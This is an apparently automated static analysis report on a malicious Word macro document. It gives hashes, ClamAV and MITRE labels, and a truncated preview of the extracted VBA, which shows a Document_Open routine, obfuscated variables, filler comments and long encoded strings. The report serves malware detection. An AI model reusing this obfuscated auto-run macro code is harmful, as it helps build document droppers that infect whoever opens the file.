Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4ae26d1113eb2cdb…

MALICIOUS

Office (OOXML)

102.7 KB Created: 2016-09-28 20:37:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2017-10-28
MD5: bddca74a4da71137b8f780ff9c959a54 SHA-1: 7ed9abaa0df25929bb39580ceb62248b73d608e2 SHA-256: 4ae26d1113eb2cdb0f18cedb036179cfaf0ff74e0cb6a605e4cdf357e3109a8c
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA project with a Document_Open macro. This macro utilizes the Shell() function, indicating an attempt to execute external code. The presence of obfuscated VBA code suggests the macro is designed to download and execute a second-stage payload, aligning with dropper malware behavior.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6345036-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6345036-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 21396 bytes
SHA-256: f26acc25e898bc1328f1e10f0f85f29d43a19aa7140d676f842d545322a5ee77
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 18 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function f867059() As Long
On Error Resume Next
Dim v70615 As Long, v51614 As Long, v383793 As Variant, v786062 As Variant, v742200 As String, v446408 As Variant, v299662 As String, v181760 As Variant, v234615 As Long

v704932 = "0pkl27mcYfXC6VIH5NQ42p71VFO6GZLGU3ZzCw9e518nqnA5ytLSUfuKrnjgmAoRQrZBWsYkSpfCSe3dqzcvy7DITmEiNgcvTUPEk7SvRRWhQ61PyAIRjKI53kLVyyxcf6e1tDUcsdQdcE6oFFX5NQtXqG8GBqyEFzCeuU9UzqqCmgZn6f4ZFXq4iXU8RHUt7skhhJlP5ZDP69u6FJcu0wqK62W9fdo5W2AcR0y7br5BJXXTm6FVAAhUvZ4rN8vd6"
v299662 = "KpqWwBbJm3o5awfmGSjD8g9vtxIXtLP1zeUbBCbITBSQavRHHrV9lOSkokL6HnwJOZ13gJgnYj7BxSQkcxdnqzAqlErVc4RTYGOlLxUmhWhpNJxOu7bpuUXWYH1dNTEHll6cbDKc9OXGVpyA0DBnIcpuHXp8dY0WDEgpaTydEPg2UZeAGx3PZRtgv5y09NZ9uXS6xeBgRjOG4lTNR6JviWevaE0PuUm9FiG4G6FcXn2WGqoAzXa4fhqoQVXvCcJSXn4scgfQUUC39LIW6PAZR8xKjWq229lIx0gyKeF9koKCIcmnGeOJgdEe8K4erdPpsVVyOGb6vrjAikIcGdR6PQixncAcY6ZUXDRFGiuBxCuy91OCTjKBL8PcuenU5GHShOv5gFhUmDz2ObHVCIKbiSe5rHErIGCC1B5LLqcbSpp127ujtUAdytIQJTBd6x39xno8RyYO9NRp3XmGXDU1TVoWQdJgy8YDIlGDgi0mFQBHx6zEf6P3RshnGXfgf8B2J1BNa6VbxvasJSd8yNxO8GBkPgVfrJsXnYSVdu3631XnWUQ7ECYjw8B5lYxLikUOEl06zWIrIHqJiDq59pAKZDUjOmxBu7PO3eJGV0IBpiw8d85L966q9cTu"
v742200 = "2WF6xJLmCkZrtJENRg4iVNEGzwUON5f0sQxLXlfn6B609N7GuilZ7DZITFIFEPsYVBdBOSmIGmupJg98OVecRgTZCtBUlQRD28NjRdwyV12vi1QOiJjvDaQxhcUgxl5SJmxvsvJJIlXtPiJHdtEx8XVFlDJZ0UdUVIDvf2OVFpIww2mRpb643VobyoPDHvb2W4CDjCErj8dkg9q46jT5SKUQV3rlbwS3Vpc7KksTqDpIwR4opGjAjQ1GstNahK6Orqdy6HIR1jvmKCKGvElO7XaPl5qeig3i0zEk2eFTapqe9NiGjkssO6wUgZs8527Y2qzLiEYIKUiTgajgLT9Ko7fofRc9t5J3q30dBTFoOrikFh2SlUwOORjzPzCbxok2m9NkA3yze3d7zthUh7jPLhLLSArdXO4c1vRNcUevxoIRGxdyrFrHf8lgjJRIfk6PTlpcq815oF3bCX3RfdkBfvb5JzwvVwhWSl5bRH6hgS3otQ7qpWRfHZDGfhiLCFLX4lpu4Aap6NO24fkwb8tUTjaQqoCs1sTAwAjyE"
v181760 = "55"
v446408 = "12"
v383793 = "11"
v786062 = "64"

v446408 = v383793 + v446408
v181760 = Exp(v181760)
'Et quis ex do aliqua laborum ullamco eu qui irure sunt ex fugiat sunt.
'Irure mollit enim ad labore. Labore irure cillum anim tempor adipisicing cillum consequat non officia ipsum proident aute.
v786062 = Asc(v742200)

v70615 = 5 + 4
'Veniam ea nisi laboris officia aliquip et. Deserunt non consectetur magna aliquip minim id occaecat mollit veniam laborum ullamco velit irure adipisicing.
undefined = Abs(v383793)
'Anim sit culpa proident minim occaecat laborum.
v383793 = Int(v446408)
'Sint laborum ex duis sunt minim cillum adipisicing laboris consectetur commodo fugiat incididunt nostrud nisi. Elit amet aliquip dolore ex irure non occaecat minim exercitation culpa esse.

v234615 = 0 + 4
'Cillum elit commodo proident reprehenderit eiusmod.
'Tempor reprehenderit est dolor et ex occaecat ad labore voluptate sit veniam sint. Consectetur proident eu ad fugiat et Lorem duis qui eiusmod magna fugiat fugiat ex tempor.
'Labore incididunt aliqua consequat culpa exercitation adipisicing elit minim sunt nisi adipisicing culpa.

For i = 0 To 238742591 Step 1
    v51614 = v51614 + v70615 - v234615
Next i
'Lorem cillum dolore et ullamco excepteur excepteur laborum laborum ut.
'Ut Lorem deserunt consequat elit elit sit eu laborum dolor nisi ea. Aute aliquip et duis ea.
v383793 = v786062 + v786062
v181760 = Exp(v181760)

f867059 = v51614
End Function

Sub Document_Open()
On Error Resume Next
Dim v816928 As Variant, v802062 As String, v519292 As String, v106220 As Variant, v520122 As String, v698228 As Variant, v231251 As Variant, Var_5 As Variant
v519292 = "mwWsyfQUSPDPzBb2mcCwxhrgrT1tEDic9B8Ba1O8kRalKo7a1SPC7IvKG6Pw0Xh8FQKuwg5tiwiV3DomkQJ9mBpiwAObQr8h2TWk4Dx2vqrwiSYAANpavWSokWT1lUUBd8aBnSswIDEPtvVjeNiAqXNCAtBco3FsAL7ukqR1k8cjiZ1GIWqxyPHtNfBr5SkzQb0mXlThSuEVdSkGsAv4B84qtsJxcTFidq"
v802062 = "aVrUGNSPngqNRmnenU9VqYCTqJji5JzA9kylxg4uadhJ9UYfGPJS5QeI9XkAEw8T95Rb0dmEJI8CWifzoH2aAlretSRqpaC0UvRcCIFUuaExPowtrqwdyJkdJ4FSpnQpyBUOmtkn0DauX0XROUooQos
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 52736 bytes
SHA-256: fdcee7ef4889e0e65d93abad502d5eaf5e410aa6593792337af91adda126e3e8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 18 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.